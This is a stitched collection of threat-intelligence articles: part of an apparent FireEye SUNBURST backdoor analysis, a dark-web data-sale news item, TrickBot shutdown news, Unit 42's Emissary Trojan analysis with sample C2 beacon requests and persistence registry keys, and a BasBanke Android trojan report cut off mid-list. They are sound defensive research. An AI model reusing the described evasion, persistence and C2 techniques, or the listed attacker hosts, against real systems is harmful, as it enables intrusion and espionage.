DGA encoded machine domain name, used to selectively target victims. - Command and control traffic masquerades as the legitimate Orion Improvement Program. - Code hides in plain sight by using fake variable names and tying into legitimate components. ### Delivery and Installation Authorized system administrators fetch and install updates to SolarWinds Orion via packages distributed by SolarWinds’s website. The update package `CORE-2019.4.5220.20574-SolarWinds-Core-v2019.4.5220-Hotfix5.msp` (02af7cec58b9a5da1c542b5a32151ba1) contains the `SolarWinds.Orion.Core.BusinessLayer.dll` described in this report. After installation, the Orion software framework executes the .NET program `SolarWinds.BusinessLayerHost.exe` to load plugins, including `SolarWinds.Orion.Core.BusinessLayer.dll`. This plugin contains many legitimate namespaces, classes, and routines that implement functionality within the Orion framework. Hidden in plain sight, the class `SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer` implements an HTTP-based backdoor. Code within the logically unrelated routine `SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager.RefreshInternal` invokes the backdoor code when the Inventory Manager plugin is loaded. `SolarWinds.Orion.Core.BusinessLayer.dll` is signed by SolarWinds, using the certificate with serial number `0f:e9:73:75:20:22:a6:06:ad:f2:a3:6e:34:5d:c0:ed`. The file was signed on March 24, 2020. ### Initialization On execution of the malicious `SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer.Initialize` method, the sample verifies that its lower case process name hashes to the value `17291806236368054941`. This hash value is calculated as the standard FNV-1A 64-bit hash with an additional XOR by `6605813339339102567` after computing the FNV-1A. This hash matches a process named "solarwinds.businesslayerhost". The sample only executes if the filesystem write time of the assembly is at least 12 to 14 days prior to the current time; the exact threshold is selected randomly from an interval. The sample continues to check this time threshold as it is run by a legitimate recurring background task. Once the threshold is met, the sample creates the named pipe `583da945-62af-10e8-4902-a8f205c72b2e` to act as a guard that only one instance is running before reading `SolarWinds.Orion.Core.BusinessLayer.dll.config` from disk and retrieving the XML field `appSettings`. The `appSettings` fields’ keys are legitimate values that the malicious logic re-purposes as a persistent configuration. The key `ReportWatcherRetry` must be any value other than 3 for the sample to continue execution. The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid`. The userID is encoded via a custom XOR scheme after the MD5 is calculated. The `ReportWatcherPostpone` key of `appSettings` is then read from `SolarWinds.Orion.Core.BusinessLayer.dll.config` to retrieve the initial, legitimate value. This operation is performed as the sample later bit packs flags into this field and the initial value must be known in order to read out the bit flags. The sample then invokes the method `Update` which is the core event loop of the sample. ### DGA and Blocklists The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of `avsvmcloud[.]com`. The `Update` method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victim's local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve: - `.appsync-api.eu-west-1[.]avsvmcloud[.]com` - `.appsync-api.us-west-2[.]avsvmcloud[.]com` - `.appsync-api.us-east-1[.]avsvmcloud[.]com` - `.appsync-api.us-east-2[.]avsvmcloud[.]com` Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found, the `Update` routine exits and the sample will continue to try executing the routine until the blocklist passes. Blocklisted services are stopped by setting their `HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Start` registry entries to value 4 for disabled. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the `ReportWatcherPostpone` key of the `appSettings` entry for the sample’s config file. If any service was transitioned to disabled, the `Update` method exits and retries later. The sample retrieves a driver listing via the WMI query `Select * From Win32_SystemDriver`. If any blocklisted driver is seen, the `Update` method exits and retries. If all blocklist tests pass, the sample tries to resolve `api.solarwinds.com` to test the network for connectivity. ### Network Command and Control (C2) If all blocklist and connectivity checks pass, the sample starts generating domains in a while loop via its DGA. The sample will delay for random intervals between the generation of domains; this interval may be any random value from the ranges 1 to 3 minutes, 30 to 120 minutes, or on error conditions up to 420 to 540 minutes (9 hours). The DNS A record of generated domains is checked against a hardcoded list of IP address blocks which control the malware’s behavior. Records within the following ranges will terminate the malware and update the configuration key `ReportWatcherRetry` to a value that prevents further execution: - `10.0.0.0/8` - `172.16.0.0/12` - `192.168.0.0/16` - `224.0.0.0/3` - `fc00:: - fe00::` - `fec0:: - ffc0::` - `ff00:: - ff00::` - `20.140.0.0/15` - `96.31.172.0/24` - `131.228.12.0/22` - `144.86.226.0/24` Once a domain has been successfully retrieved in a CNAME DNS response, the sample will spawn a new thread of execution invoking the method `HttpHelper.Initialize` which is responsible for all C2 communications and dispatching. The HTTP thread begins by delaying for a configurable amount of time that is controlled by the `SetTime` command. The HTTP thread will delay for a minimum of 1 minute between callouts. The malware uses HTTP GET or HTTP POST requests. If the sample is attempting to send outbound data, the content-type HTTP header will be set to "application/octet-stream"; otherwise, it will be set to "application/json". A JSON payload is present for all HTTP POST and PUT requests and contains the keys “userId”, “sessionId”, and “steps”. The “steps” field contains a list of objects with the following keys: “Timestamp”, “Index”, “EventType”, “EventName”, “DurationMs”, “Succeeded”, and “Message”. The JSON key “EventType” is hardcoded to the value “Orion”, and the “EventName” is hardcoded to “EventManager”. Malware response messages to send to the server are DEFLATE compressed and single-byte-XOR encoded, then split among the “Message” fields in the “steps” array. Each “Message” value is Base64 encoded separately. Not all objects in the “steps” array contribute to the malware message – the integer in the “Timestamp” field must have the 0x2 bit set to indicate that the contents of the “Message” field are used in the malware message. Step objects whose bit 0x2 is clear in the Timestamp field contain random data and are discarded when assembling the malware response. ### Steganography In observed traffic, these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: `"\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}"`. Command data is spread across multiple strings that are disguised as GUID and HEX strings. All matched substrings in the response are filtered for non-HEX characters, joined together, and HEX-decoded. The first DWORD value shows the actual size of the message, followed immediately with the message, with optional additional junk bytes following. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed. The first character is an ASCII integer that maps to the JobEngine enum, with optional additional command arguments delimited by space characters. Commands are then dispatched to a JobExecutionEngine based upon the command value as described next. ### Supported Commands | Command | Value | Operation | |-------------------------------|-------|----------------------------------------------------------------------------------------------| | Idle | 0 | No operation | | Exit | 1 | Terminate the current thread. | | SetTime | 2 | Sets the delay time between main event loop executions. Delay is in seconds, and varies random between [.9 * <delay>, 1.1 * <delay>]. If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes. There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] | | CollectSystemDescription | 3 | Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information. | | UploadSystemDescription | 4 | Perform an HTTP request to the specified URL, parse the results and compare components against unknown hashed values. Format a report and send to the C2 server. | | RunTask | 5 | Starts a new process with the given file path and arguments. | | GetProcessByDescription | 6 | Returns a process listing. If no arguments are provided returns just the PID and process name. If an argument is provided it also returns the parent PID and username and domain for the process owner. | | KillTask | 7 | Terminate the given process, by PID. | | GetFileSystemEntries | 8 | Given a path and an optional match pattern recursively list files and directories. | | WriteFile | 9 | Given a file path and a Base64 encoded string write the contents of the Base64 decoded string to the given file path. Write using append mode. Delay for [1s, 2s] after writing is done. | | FileExists | 10 | Tests whether the given file path exists. | | DeleteFile | 11 | Deletes the specified file path. | | GetFileHash | 12 | Compute the MD5 of a file at a given path and return result as a HEX string. If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs. | | ReadRegistryValue | 13 | Arbitrary registry read from one of the supported hives. | | SetRegistryValue | 14 | Arbitrary registry write from one of the supported hives. | | DeleteRegistryValue | 15 | Arbitrary registry delete from one of the supported hives. | | GetRegistrySubKeyAndValueNames| 16 | Returns listing of subkeys and value names beneath the given registry path. | | Reboot | 17 | Attempts to immediately trigger a system reboot. | ## Indicators and Detections to Help the Community To empower the community to detect this supply chain backdoor, we are publishing indicators and detections to help organizations identify this backdoor and this threat actor. The signatures are a mix of Yara, IOC, and Snort formats. A list of the detections and signatures are available on the FireEye GitHub repository. We are releasing detections and will continue to update the public repository with overlapping detections for host and network-based indicators as we develop new or refine existing ones. We have found multiple hashes with this backdoor and we will post updates of those hashes. ## MITRE ATT&CK Techniques Observed | ID | Description | |----------------|-----------------------------------------------| | T1012 | Query Registry | | T1027 | Obfuscated Files or Information | | T1057 | Process Discovery | | T1070.004 | File Deletion | | T1071.001 | Web Protocols | | T1071.004 | Application Layer Protocol: DNS | | T1083 | File and Directory Discovery | | T1105 | Ingress Tool Transfer | | T1132.001 | Standard Encoding | | T1195.002 | Compromise Software Supply Chain | | T1518 | Software Discovery | | T1518.001 | Security Software Discovery | | T1543.003 | Windows Service | | T1553.002 | Code Signing | | T1568.002 | Domain Generation Algorithms | | T1569.002 | Service Execution | | T1584 | Compromise Infrastructure | ## Immediate Mitigation Recommendations Prior to following SolarWind’s recommendation to utilize Orion Platform release 2020.2.1 HF 1, which is currently available via the SolarWinds Customer Portal, organizations should consider preserving impacted devices and building new systems using the latest versions. Applying an upgrade to an impacted box could potentially overwrite forensic evidence as well as leave any additional backdoors on the system. In addition, SolarWinds has released additional mitigation and hardening instructions. In the event you are unable to follow SolarWinds’ recommendations, the following are immediate mitigation techniques that could be deployed as first steps to address the risk of trojanized SolarWinds software in an environment. If attacker activity is discovered in an environment, we recommend conducting a comprehensive investigation and designing and executing a remediation strategy driven by the investigative findings and details of the impacted environment. - Ensure that SolarWinds servers are isolated/contained until a further review and investigation is conducted. This should include blocking all Internet egress from SolarWinds servers. - If SolarWinds infrastructure is not isolated, consider taking the following steps: - Restrict scope of connectivity to endpoints from SolarWinds servers, especially those that would be considered Tier 0/crown jewel assets. - Restrict the scope of accounts that have local administrator privileges on SolarWinds servers. - Block Internet egress from servers or other endpoints with SolarWinds software. - Consider (at a minimum) changing passwords for accounts that have access to SolarWinds servers/infrastructure. Based upon further review/investigation, additional remediation measures may be required. - If SolarWinds is used to manage networking infrastructure, consider conducting a review of network device configurations for unexpected/unauthorized modifications. Note, this is a proactive measure due to the scope of SolarWinds functionality, not based on investigative findings. ## Acknowledgements This blog post was the combined effort of numerous personnel and teams across FireEye coming together. Special thanks to: Andrew Archer, Doug Bienstock, Chris DiGiamo, Glenn Edwards, Nick Hornick, Alex Pennino, Andrew Rector, Scott Runnels, Eric Scales, Nalani Fraser, Sarah Jones, John Hultquist, Ben Read, Jon Leathery, Fred House, Dileep Jallepalli, Michael Sikorski, Stephen Eckels, William Ballenthin, Jay Smith, Alex Berry, Nick Richard, Isif Ibrahima, Dan Perez, Marcin Siedlarz, Ben Withnell, Barry Vengerik, Nicole Oppenheim, Ian Ahl, Andrew Thompson, Matt Dunwoody, Evan Reese, Steve Miller, Alyssa Rahman, John Gorman, Lennard Galang, Steve Stone, Nick Bennett, Matthew McWhirt, Mike Burns, Omer Baig. Also special thanks to Nick Carr, Christopher Glyer, and Ramin Nafisi from Microsoft.
# 127 Million User Records from 8 Companies for Sale on the Dark Web An individual who earlier this week was selling 620 million user records stolen from 16 companies has now put up a second batch of hacked data totaling 127 million, originating from eight companies. The data is currently being sold on Dream Market, a dark web marketplace where crooks sell an assortment of illegal products, such as user data, drugs, weapons, malware, and others. The individual selling the data goes by the name of Gnosticplayers, and it's currently unclear if they're the one/ones who hacked the 24 companies, or just a third-party who purchased the data from the real hacker and is now re-selling it for a bigger profit. According to tech news site TechCrunch, Gnosticplayers is asking for roughly four bitcoin, which is about $14,500 in fiat currency. Prices vary depending on the quality of the user data and the difficulty in cracking password hashes. This second batch of hacked accounts includes data from the following companies: | Company | Size (Mil) | Breach Date | Price (฿) | Content | |----------------------------|------------|-------------|-----------|---------------------------------------------------------------------------------------------| | 4Ge.tt (file sharing) | 1.83 | 2017/12 | 0.16 | firstname, lastname, password hash (SHA256), Facebook ID, referer | | Ixigo (travel and hotel) | 18 | 2019/01/01 | 0.262 | password hashes (MD5), full name, Facebook URL, IP address, username, email, passport ID | | Roll20.net (gaming) | 4 | 2019/01/01 | 0.0582 | name, email, passwords (bcrypt), nickname, gaming data, some redacted financial data | | Houzz (interior design) | 57 | 2018/07 | 2.91 | email, password (SHA256), registration date, name | | Coinmama (cryptocurrency) | 0.42 | 2017/08/02 | 0.3497 | email, password (PHPASS), other unspecified data | | Younow (live streaming) | 40 | 2017/10 | 0.131 | | | StrongHoldKingdoms (gaming) | 5 | 2018/09 | 0.291 | username, email, password (HMAC-RIPEMD160), profile stats, gaming data, SteamID | | Petflow (pet food delivery) | 1 | 2017 | 0.1777 | email, username, password (MD5), other undisclosed data | Of the companies listed above, Houzz had already come clean about its data breach last week. The other seven companies did not publicly reveal any security breaches before the publication of today's ads. This new batch of stolen databases comes after earlier this week, the same Dream Market user was selling the following user databases from 16 other companies: | Company | Size (Mil) | Breach Date | Price (฿) | Content | |-----------------------------------|------------|-------------|-----------|---------------------------------------------------------------------------------------------| | Dubsmash (video sharing) | 161.5 | 2018/12 | 0.549 | user ID, password (SHA256), username, email, language, country, more | | 500px (image hosting) | 14.8 | 2018/07 | 0.217 | username, email, password (MD5, SHA512, or bcrypt), first and last name, birth date | | EyeEm (image hosting) | 22.3 | 2018/02 | 0.289 | email and password (SHA1) | | 8fit (fitness app) | 20.1 | 2018/07 | 0.2025 | email, password (bcrypt), country, country code, Facebook token, profile picture, name | | Fotolog (photo app) | 16 | 2018/12 | 0.52 | email, password (SHA256), security question and answer, name, location, various profile data | | Animoto (video editing service) | 25.4 | 2018 | 0.318 | username, password hash (256), email, country, full name, and date of birth | | MyHeritage (family genealogy) | 92 | 2017/10 | 0.549 | email, password hash (256), account creation date | | MyFitnessPal | 150 | 2018/02 | 0.289 | user ID, username, email, password hash (SHA1) with a fixed salt, IP address | | Artsy (art sharing portal) | 1 | 2018/04 | 0.0289 | email, name, IP addresses, location, and password (SHA256) | | Armor Games (online gaming) | 11 | 2018/12 | 0.2749 | username, email, password (SHA256), date of birth, gender, location, and profile data | | Bookmate (e-book and audiobook app)| 8 | 2018/07 | 0.159 | username, email, password (SHA512 or bcrypt), gender, date of birth, and profile data | | CoffeeMeetsBagel (dating app) | 6 | late 2017 to mid-2018 | 0.13 | full name, email, age, registration date, and gender | | DataCamp (coding platform) | 0.7 | 2018/12 | 0.013 | email, password (bcrypt), location, and profile data | | HauteLook (online shopping) | 28 | 2018 | 0.217 | email, password (bcrypt), and name | | ShareThis (social sharing widget) | 41 | 2018/07 | 0.217 | name, username, email, password (DES), gender, date of birth, and profile data | | WhitePages (online phone book) | 17.7 | late 2017 | 0.434 | name, email, password (SHA1 or bcrypt) | Animoto, MyFitnessPal, and MyHeritage previously disclosed breaches last year. DataCamp, 500px, Dubsmash, EyeEm, Artsy, 8fit, and CoffeeMeetsBagel confirmed this week that they've been breached as well, giving credence to the seller's boast that this is real data and not just a scam. These 16 databases are no longer available for sale now. Gnosticplayers said he took them down after buyers complained that a prolonged sale would eventually lead to some of these databases leaking online, and becoming available to everyone.
# Notorious TrickBot Malware Gang Shuts Down its Botnet Infrastructure The modular Windows crimeware platform known as TrickBot formally shuttered its infrastructure on Thursday after reports emerged of its imminent retirement amid a lull in its activity for almost two months, marking an end to one of the most persistent malware campaigns in recent years. "TrickBot is gone... It is official now as of Thursday, February 24, 2022. See you soon... or not," AdvIntel's CEO Vitali Kremez tweeted. "TrickBot is gone as it has become inefficient for targeted intrusions." Attributed to a Russia-based criminal enterprise called Wizard Spider, TrickBot started out as a financial trojan in late 2016 and is a derivative of another banking malware called Dyre that was dismantled in November 2015. Over the years, it morphed into a veritable Swiss Army knife of malicious capabilities, enabling threat actors to steal information via web injects and drop additional payloads. TrickBot's activities took a noticeable hit in October 2020 when the U.S. Cyber Command and a consortium of private security companies led by Microsoft attempted to disrupt most of its infrastructure, forcing the malware's authors to scale up and evolve its tactics. The criminal entity is said to have invested more than $20 million into its infrastructure and growth, security firm Hold Security was quoted as saying in a WIRED report earlier this month, calling out TrickBot's "businesslike structure" to run its day-to-day operations and "hire" new engineers into the group. The development comes as twin reports from cybersecurity firms AdvIntel and Intel 471 hinted at the possibility that TrickBot's five-year saga may be coming to an end in the wake of increased visibility into their malware operations, prompting the operators to shift to newer, improved malware such as BazarBackdoor (aka BazarLoader). "TrickBot, after all, is relatively old malware that hasn't been updated in a major way," Intel 471 researchers said. "Detection rates are high and the network traffic from bot communication is easily recognized." Indeed, malware tracking research project Abuse.ch's Feodo Tracker shows that while no new command-and-control (C2) servers have been set up for TrickBot attacks since December 16, 2021, BazarLoader and Emotet are in full swing, with new C2 servers registered as recently as February 19 and 24, respectively. BazarBackdoor, which first appeared in 2021, originated as a part of TrickBot's modular toolkit arsenal but has since evolved into a fully autonomous malware mainly used by the Conti (previously Ryuk) cybercrime gang to deploy ransomware on enterprise networks. TrickBot's demise has also come as the operators of Conti ransomware recruited top talent from the former to focus on stealthier replacement malware like BazarBackdoor. "TrickBot has been linked with Conti for a while, so further synergy there is highly possible," Intel 471 told The Hacker News. Conti has also been credited with resurrecting and integrating the Emotet botnet into its multi-pronged attack framework starting November 2021, with TrickBot, ironically, utilized as a delivery vehicle to distribute the malware after a gap of 10 months. "However, the people who have led TrickBot throughout its long run will not simply disappear," AdvIntel noted last week. "After being 'acquired' by Conti, they are now rich in prospects with the secure ground beneath them, and Conti will always find a way to make use of the available talent."
# Emissary Trojan Analysis In December 2015, Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload. Emissary is related to the Elise Trojan and the Operation Lotus Blossom attack campaign, which prompted us to start collecting additional samples of Emissary. The oldest sample we found was created in 2009, indicating this tool has been in use for almost seven years. Of note, this is three years earlier than the oldest Elise sample we have found, suggesting this group has been active longer than previously documented. In addition, Emissary appears to only be used against Taiwanese or Hong Kong-based targets; all of the decoys are written in Traditional Chinese, and they use themes related to the government or military. We also found several different versions of Emissary that had several iterative changes that show how the Trojan evolved over the years. One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015, resulting in many new versions of the Emissary Trojan. In addition, we observed a TTP shift post-publication with regards to their malware delivery; they started using compromised but legitimate domains to serve their malware. Interestingly, the C2 infrastructure is also somewhat different than that used by Elise. In contrast to Elise, which was used in attacks against multiple Southeast Asian countries in region-appropriate languages, all of the Emissary decoys we’ve collected are written in Traditional Chinese, which is used primarily in Taiwan and Hong Kong. The targets we have identified are also limited to those two regions. Despite appearing to target a more limited geographical range, Emissary targeted the government, higher education, and high-tech companies with a mix of copy and pasted news articles and documents that do not appear to be available online. Decoys include: - An Excel spreadsheet containing legitimate contact information for much of the Taiwanese government that does not appear to be available online. - A copy and paste of a news article where the Deputy Commander of the Nanjing Military region, Wang Huanguang, responds negatively to a 2014 magazine article from a respected US Taiwan scholar saying the odds of China and Taiwan reuniting is low and discussing the issues with an attempted military takeover. - A copy of a news article from 2010 about the Chinese League of Victims protesting the involuntary removal of Shanghai residents in the lead-up to the Shanghai Expo. - A copy of the official Taiwan holiday schedule for 2016, which is the 105th anniversary of the current Taiwanese government. We’ve expanded our knowledge of Emissary infrastructure significantly since our first Emissary blog and we’ve found almost exclusive use of Dynamic DNS (DDNS) domains with only one purchased from a Chinese reseller. In contrast, the Elise samples used a mix of actor-registered and DDNS, with the actor-registered serving as one of the data points we used to tie all of the activity together. While the use of DDNS can make tying activity together more difficult, and despite the new Emissary variants since our publication, two of the most recent C2s resolved to IPs used by Elise C2s detailed in Operation Lotus Blossom. The Emissary samples typically have three hardcoded C2s that are a mix of IPs and domain names, with one of the domains or IPs not being used by the other three C2s in a likely effort to avoid loss of control. A full IOC list is included at the end of this report. Also new is the actors’ use of compromised legitimate Taiwanese websites to serve their malware, including the official website of the Democratic Progressive Party. This is particularly interesting as Taiwan just held a closely watched Presidential election on 16 January where DPP candidate Tsai Ing-wen won. This marked the first time a woman was elected President of Taiwan and only the second time a member of the Kuomintang did not hold the office since being ousted from China in 1949 when the Communist Party of China took power. In line with her party’s stance, she is widely seen as a proponent of an independent Taiwan and not in favor of reunification with the People’s Republic of China. Our evidence suggests that malware authors created Emissary as early as 2009, which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years. The Emissary Trojan is a capable tool to gain a foothold on a targeted system. While it lacks more advanced functionality like screen capturing, it is still able to carry out most tasks desired by threat actors: exfiltration of files, ability to download and execute additional payloads, and gain remote shell access. It appears that threat actors have continually used this Trojan and developed several updated versions of Emissary to remain undetected and fresh over time. We analyzed all of the known Emissary samples to determine what changes the malware author made between the different versions of the Trojan. During our analysis, we examined when each sample was created based on its compile time and produced a simple timeline to display the development efforts expended on the Emissary Trojan. It should be noted that we know some Emissary samples have been used multiple times with different configurations, so the timeline only shows when development activity took place on Emissary and should not be misconstrued to when Emissary was used in attacks. The timeline shows that the Emissary Trojan was first created (version 1.0) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009. The Trojan did not receive much in the form of updates until September 2011 when the author released version 2.0. Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014. The malware author released version 4.0 in March 2015, but curiously created a version 3.0 sample afterwards on June 26, 2015, which was out-of-sequence from the incrementing versioning. Between August and November 2015, the malware author created several new versions of Emissary, specifically 5.0, 5.1, 5.3, and 5.4 in a much more rapid succession compared to the development process in earlier versions. The out-of-sequence version 3.0 appears to be an early variant of version 5.0 based on significant similarities that are not seen in the original version 3.0 and other earlier versions of Emissary. One campaign code associated with the out-of-sequence version 3.0 sample was “3test”, suggesting the malware author created it for testing purposes. The other campaign code associated with the out-of-sequence sample was “IC00001”, which could denote an attack payload as it appears to be a plausible code to describe a campaign. While this may be coincidental, the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary. It is possible that the threat actors were prompted to make malware changes in response to our research. Regardless of causation, the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection, which as a corollary suggests the threat actors are actively using the Emissary Trojan as a payload in attacks. In this section, we discuss the changes observed between each version of Emissary. As this section is focused on changes, the features and functionality are the same between Emissary versions unless otherwise mentioned. ## Version 1.0 **Date:** 5/12/2009 **SHA256:** a7d07b92e48876e2195e5d8769a47cf0a237e11ac304e41b14fc36042b0d9484 **Original Name:** WUMsvc.dll The initial loader Trojan writes Emissary to `%SYSTEM%\WSPsvc.dll` and installs it as a service, which will run the exported function “ServiceMain” within the Emissary Trojan to carry out its functionality. Configuration data is stored in the last 1024 bytes of the payload, from which the Trojan will extract an 896-byte structure. The configuration is decrypted with an algorithm that uses the XOR operation on each byte using the value at a different offset within the ciphertext. The code will create the following registry keys: 1. `HKEY_CLASSES_ROOT\shell.local_server\CheckCode` 2. `HKEY_CLASSES_ROOT\shell.local_server\CheckID` Emissary uses the “CheckCode” registry key to store the encrypted configuration for the Trojan, while it stores a GUID that Emissary uses to uniquely identify the compromised host in the “CheckID” key. The malware performs initial system information gathering and saves data to a file named TMP2548. The initial gathering relies on a combination of the following commands executed by the command prompt: 1. `ECHO VER` 2. `IPCONFIG /ALL` 3. `NET LOCALGROUP ADMINS` 4. `SYSTEMINFO` Emissary parses command and control responses for “instru”, which will precede a GUID value that designates the command the C2 server wishes to execute on the system. The command handler does not use a nested if/else or switch statement like most malware families; instead, Emissary creates a structure that contains all of the available command GUIDs that it will iterate through each time the C2 supplies a GUID in order to determine which command the operator wishes to execute. Emissary can include up to 32 different commands within this data structure, but it appears the author has decided to include six commands within the Trojan. ### Command Handler Structure (Emissary v1.0) ```c struct EMISSARY_COMMAND { CHAR guid[40]; DWORD sub_function; DWORD arg1_subfunction; DWORD arg2_subfunction; DWORD arg3_subfunction; }; ``` ### Available Commands | Command | Description | |---------|-------------| | bac84b12-5b0b-491f-a885-8667d156394f | Upload file. | | 3d8313cc-53ca-4751-bbbf-ea5f914f8e65 | Download file. | | db0e93e7-b46c-4cba-81f1-ec70da57dc19 | Update config. C2 specifies files as: p1 = C2 server 1, p2 = C2 server 2, p3 = C2 server 3, p4 = Sleep Interval, p5 = System Identifier (computer name), p6 = GUID for beacon. | | 2e382e51-3089-4293-8454-5eccb253eb54 | Executes a specified command. | | a57db08a-bf97-4b43-b27d-157e62e2fd74 | Create remote shell. | | eab5c1ab-a497-4fc2-bbe0-049be45d6f2d | Update Trojan with new executable. | The Emissary version 1.0 beacon to the C2 server appears as follows: ``` GET /VSNET/default.asp HTTP/1.1 User-Agent: Mozilla/4.0 Host: 193.334.144[.]21 Cookie: guid=af44f802-ba5c-4b3c-8c6b-2ea411058678; op=1635b097-ffe4- ``` ## Version 2.0 **Date:** 9/15/2011 **SHA256:** 5edf2d0270f8e7eb5be3476802e46c578c4afc4b046411be0806b9acc3bfa099 **Original Name:** EmissaryDll.dll Version 2.0 was a significant re-write of the Emissary Trojan. The configuration data for the Trojan is still saved to the registry, but the registry key has changed to: ``` SOFTWARE\Microsoft\VBA\VbaData ``` The configuration structure also changed in size to 464 bytes. The Emissary configuration is now encrypted using a custom algorithm that uses the “srand” function to seed the “rand” function using a value of 2563. This seed value causes the “rand” function to generate the same values each time, which Emissary will use as a key along with the XOR operation. The configuration now contains the version number of Emissary, instead of the version being hardcoded into the Trojan. This version of Emissary keeps track of which C2 location within its configuration that it has been communicating with by storing the index of the C2 server (1, 2, or 3) in the following registry key: ``` SOFTWARE\Microsoft\VBA\VbaList ``` This version of Emissary moves away from the command handler using the structure and moves to a nested if/else statement for less complicated command handling; however, the command GUID and commands themselves are unchanged. The Emissary version 2.0 beacon changed slightly from previous versions, specifically the removal of the User-Agent field and the use of a lowercase “h” in the “Host” field. The following is an example of the version 2.0 beacon, which contains the same GUID and “op” values: ``` GET /0test/test/default.asp HTTP/1.1 host: 163.20.127.27 Cookie: guid=af44f802-ba5c-4b3c-8c6b-2ea411058678; op=1635b097-ffe4- ``` ## Version 4.0 **Date:** 3/26/2015 **SHA256:** 5171c9a593389011da4d72125e52bf7ef86b2da7fcd6c2a2bc95467afe6a1b58 **Original Name:** Generic.dll This version of Emissary includes both the installation and loading functionality along with the Emissary functional code in the same file. The installation and loading portion of the Trojan is called using an exported function named “Setting”, which moves the file to: ``` %TEMP%\Remdisk.dll ``` The loading portion of this version of Emissary checks the permissions of the current user and either installs Emissary as a service or as a standalone Trojan. To install as a service, the loader will enumerate the services on the system looking for services running under the “netsvcs” group, and it will attempt to hijack the first “netsvcs” service by replacing the “ServiceDLL” parameter to point to the Emissary DLL. If the user does not have permissions to add a service, the installation routine attempts to add persistence by creating the following registry key that will run the functional code within Emissary via an exported function named “DllRegister”: ``` Software\Microsoft\Windows\CurrentVersion\Run\Resolve: "Rundll32.exe C:\DOCUMENT~1\ADMINI~1\LOCALS~1\Temp\Remdisk.dll, DllRegister" ``` This version of Emissary has its configuration appended to the end of the DLL, specifically starting at offset 0xc600. The following code accesses the configuration embedded within the DLL and decrypts it using a single byte XOR algorithm using 65 as the key. The network beacon sent from Emissary version 4.0 is the same as other previous versions starting at version 2.0, as seen in the following: ``` GET /lightsserver/Default.asp HTTP/1.0 Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: 210.209.121.92 Cookie: guid=7DA53AE4-C155-4471-BB3-8EB360C4FCE99025; op=1635b097-ffe4- ```
# APT Gang Branches Out to Medical Espionage in Community Health Breach Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
# BasBanke: Trend-setting Brazilian banking Trojan BasBanke is a new Android malware family targeting Brazilian users. It is a banking Trojan built to steal financial data such as credentials and credit/debit card numbers, but not limited to this functionality. The propagation of this threat began during the 2018 Brazilian elections, registering over 10,000 installations to April 2019 from the official Google Play Store alone. This malware can perform tasks such as keystroke logging, screen recording, SMS interception, and the theft of credit card and financial information. To trick users into downloading the malware, the authors advertise it via Facebook and WhatsApp messages. Campaign’s new URLs redirect victims either to the official Google Play Store or to a website hosting malicious APK packages. The malicious applications hosted in Google Play Store disguise themselves as applications with supposed functionality such as a secure QR reader, a fake app for a real travel agency with travel deals, and – implementing a well-known trick – as an application to “see who visited your profile.” The most widespread malicious application is a fake version of CleanDroid, first announced in a paid advertisement on Facebook, and linking to the application hosted on the Play Store. This “miraculous” application promises to protect the victim’s device against viruses, to optimize memory space, and to save data when using a 3G or 4G connection. In reality, it is a banking Trojan. The number of targeted banking applications and websites is quite significant. A considerable number of Brazilian financial institutions and other popular websites such as Spotify, YouTube, and Netflix are on the target list. However, when it comes to stealing banking credentials, metadata such as the device name, IMEI, and the telephone number used by the victim are sent to a remote C2. Why pay special attention to this data? Well, fraudsters need it to mimic legitimate access to the account of the victim. Depending on the version of the malware, we found different targets – and they are all financial institutions. In addition, an extensive list of keywords defines what other brands or websites will trigger the keylogging procedure. We have previously found a few malicious campaigns similar to this but with significantly reduced distribution when compared to BasBanke. Another difference is that BasBanke uses Facebook and WhatsApp as a mass distribution vector. Also, it appears to have sparked new ideas among Brazilian cybercriminal crews, by showing how easy it is to infect an Android device with a malicious application hosted in the official store. The attackers behind BasBanke have proved that the Play Protect feature is not enough to stop them and effectively block their malware. In fact, BasBanke is the forerunner of a larger malicious campaign that we’ll be reporting on soon. ## Reference IoC **Hashes** - 00de6f665a41be232a4df975944a2580 - 0f455547228459c65044845671c9de83 - 5ff98c27c34ec90c82bb46c28453e3e0 - 41301a295044410c41d547e6abc9a1a9 - 